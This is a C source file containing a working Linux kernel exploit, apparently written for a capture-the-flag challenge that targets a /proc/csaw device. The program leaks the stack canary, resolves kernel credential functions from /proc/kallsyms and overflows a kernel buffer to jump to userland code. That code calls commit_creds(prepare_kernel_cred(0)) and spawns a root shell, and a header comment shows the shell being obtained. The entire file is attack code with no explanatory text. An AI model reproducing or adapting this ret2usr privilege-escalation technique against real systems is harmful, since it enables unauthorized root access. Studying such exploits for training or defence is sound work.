/* E.g.,
 * $ ./sploit
 * [+] found canary: 19f883c6
 * [*] hold on to your butts
 * [+] enjoy the shell
 * sh-4.2#
 */
#include <stdio.h>
#include <string.h>

#include <unistd.h>
#include <fcntl.h>

#include <sys/mman.h>

#define MAX		64
/* canary + 2 words + ret */
#define MAX_PAYLOAD	(MAX + sizeof(void *) + 2*sizeof(void *) + sizeof(void *))

//typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *)
typedef struct cred *(*prepare_kernel_cred_t)(void *)
	__attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *)
	__attribute__((regparm(3)));

struct trap_frame {
	void	*eip;
	int	 cs;
	int	 eflags;
	void	*esp;
	int	 ss;
} __attribute__((packed)) tf;
short userland_gs;

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void
print_hex(char *buf, int size)
{
	int i, j;
	for (i = 0; i < size; ++i) {
		printf("%02hhx", buf[i]);
		if ((i+1) % 16 == 0) {
			printf("  ");
			for (j = i - 16 + 1; j <= i; ++j)
				printf("%c", isprint(buf[j]) ? buf[j] : '.');
			printf("\n");
		} else if ((i+1) % 8 == 0)
			printf("  ");
		else
			printf(" ");
	}
	if (i % 16)
		printf("\n");
}

void *
get_ksymbol(char *name)
{
	FILE *f = fopen("/proc/kallsyms", "r");
	char c, sym[512];
	void *addr;
	int ret;

	while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
		if (!strcmp(sym, name))
			return addr;
	}

	return NULL;
}

int
open_file(void)
{
	int fd = open("/proc/csaw", O_RDWR);
	if (fd == -1)
		err(1, "open"); 
	return fd;
}

void
payload(void)
{
	if (getuid() == 0) {
		printf("[+] enjoy the shell\n");
		execl("/bin/sh", "sh", "-i", NULL);
	} else {
		warnx("failed to get root. How did we even get here?");
	}

	_exit(0);
}

void
return_to_userland(void)
{
	__asm__("mov %0, %%gs" :: "m" (userland_gs));
	__asm__("mov $tf, %esp ; iret");
}

void
kernel_code(void)
{
	commit_creds(prepare_kernel_cred(0));

	return_to_userland();
}

void
trigger_vuln(int fd, int canary)
{
	char buf[MAX_PAYLOAD], *p;

	bzero(buf, sizeof(buf));

	/* Point p to the canary's spot and set it. */
	p = buf + MAX;
	*(void **)p = (void *)canary;
	p += sizeof(void *);

	*(void **)p = 0;		/* Set $ebx. */
	p += sizeof(void *);

	*(void **)p = 0;		/* Set $ebp. */
	p += sizeof(void *);

	*(void **)p = kernel_code;	/* Set $eip. */

	/*
	printf("Payload:\n");
	print_hex(buf, MAX_PAYLOAD);
	*/
	printf("[*] hold on to your butts\n");

	/* Kaboom! */
	write(fd, buf, MAX_PAYLOAD);
}

void
setup_payload(void)
{
	/* Save gs */
	__asm__("pushl %gs	; popl userland_gs");

	/* Setup trap frame. */
	__asm__("pushl %cs	; popl tf+4;"
		"pushfl		; popl tf+8;"
		"pushl %esp	; popl tf+12;"
		"pushl %ss	; popl tf+16");
	tf.eip = payload;
	tf.esp -= 1024;
}

int
gather_information(int fd)
{
	int canary, i;

	if (lseek(fd, 32, SEEK_SET) == -1)
		err(2, "lseek");
	read(fd, &canary, sizeof(canary));

	printf("[+] found canary: %08x\n", canary);

	return canary;
}

void
resolve_kernel_symbols(void)
{
	prepare_kernel_cred	= get_ksymbol("prepare_kernel_cred");
	commit_creds		= get_ksymbol("commit_creds");

	if (!prepare_kernel_cred || !commit_creds)
		errx(1, "couldn't map all kernel symbols");
}

int
main(void)
{
	int fd, canary;

	resolve_kernel_symbols();

	fd = open_file();
	canary = gather_information(fd);

	setup_payload();

	trigger_vuln(fd, canary);

	/* If we're here, we've failed. */
	close(fd);

	errx("[-] exploit failed\n");
}
